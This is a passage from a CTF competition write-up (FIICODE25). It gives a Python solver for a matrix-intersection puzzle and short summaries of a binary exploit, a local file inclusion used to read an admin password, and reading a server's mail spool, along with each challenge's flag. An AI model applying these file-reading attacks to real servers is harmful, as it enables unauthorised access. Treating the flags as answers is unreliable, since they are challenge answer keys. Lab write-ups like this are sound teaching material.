With both the magic and overflow checks passed, the code executes open("/flag.txt", O_RDONLY) and writes its contents to stdout. Feeding the crafted exploit.bin into the binary immediately prints the flag on the remote server:

FIICODE25{canary_intact_flag_popped}

INTERSECTIE

Summary

We exploit the file layout—matrix A immediately followed by a blank line and matrix B—to solve the O(N²) intersection in a single stream pass with ≈ O(1) RAM. Lines up to the first blank row are spooled into a NamedTemporaryFile("w+"); after seek(0) this temp file and the remainder of the original handle provide synchronous row access to A and B. Each token is parsed to a set<int>, intersected, summed into a 64-bit accumulator, and flushed to result.txt on the fly. Peak memory is one row; runtime on the 10 000² data set is < 1 h on SSD.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pathlib import Path
from tempfile import NamedTemporaryFile
import os
import sys

IN_FILE  = Path("matrici.txt")
OUT_FILE = Path("result.txt")

def parse_cell(token: str) -> set[int]:
    if token == "{}":
        return set()
    return {int(x) for x in token.strip("{}").split(",") if x}

def format_cell(s: set[int]) -> str:
    return "{}" if not s else "{" + ",".join(map(str, sorted(s))) + "}"

def next_nonblank(handle):
    for line in handle:
        if line.strip():
            return line
    return None

def main() -> None:
    if not IN_FILE.exists():
        sys.exit(f"{IN_FILE} not found.")

    with IN_FILE.open(encoding="utf-8") as fin, \
         NamedTemporaryFile("w+", delete=False, encoding="utf-8") as tmp:

        for line in fin:
            if not line.strip():
                break
            tmp.write(line)

        tmp.flush()
        tmp.seek(0)

        with OUT_FILE.open("w", encoding="utf-8") as fout:
            total = 0
            row = 0
            lineB = next_nonblank(fin)

            while lineB is not None:
                lineA = next_nonblank(tmp)
                if lineA is None:
                    sys.exit("Matrix dimensions mismatch: A ended first.")

                cellsA = lineA.rstrip().split()
                cellsB = lineB.rstrip().split()
                if len(cellsA) != len(cellsB):
                    sys.exit(
                        f"Row {row + 1}: different lengths "
                        f"({len(cellsA)} vs {len(cellsB)})"
                    )

                out_cells = []
                for a, b in zip(cellsA, cellsB):
                    inter = parse_cell(a) & parse_cell(b)
                    total += sum(inter)
                    out_cells.append(format_cell(inter))

                fout.write(" ".join(out_cells) + "\n")
                row += 1
                lineB = next_nonblank(fin)

    print(f"Flag: FIICODE25{{{total}}}")
    os.unlink(tmp.name)

if __name__ == "__main__":
    main()

Open matrici.txt; copy non-blank lines into the temp file until \n\n, then rewind. Iterate: read next non-blank row from both sources, split() each, abort on unequal cell counts, compute parse_cell(tokA) & parse_cell(tokB) for every column, total += sum(inter), and write " ".join(format_cell(inter)) to the output. Continue until both streams EOF simultaneously, then print FIICODE25{total} and unlink the temp file. The flag is:

FIICODE25{15281803420608617}

Robo-Sapiens

Summary

Route /robots.txt → LFI on route /flagul.php for the password in /admin.php.

Step by step

{C7E27EBF-B7FB-41A8-A2CF-33211C4A8097}.png

{7314BD5D-17C4-4953-B02E-DB09133C6F2F}.png

{EDADDF1E-82D5-42F0-AA02-0E17ADA3A928}.png

Flag: FIICODE25{R0b0S4pi3ns_ar3_c00l}

Unread Mail

Summary

List directory from /var/spool/mail from the prompt hint and read the file located in /var/spool/mail/flag.txt .

Step by step

{D5120577-6B6E-432A-AA63-FF0364AFCC57}.png

{FDC3FDDD-2FD4-4197-9F4F-C7EA083BA615}.png

The flag is:

FIICODE25{t00l_f4n_f0r_l1f3}

This post is licensed under CC BY 4.0 by the author.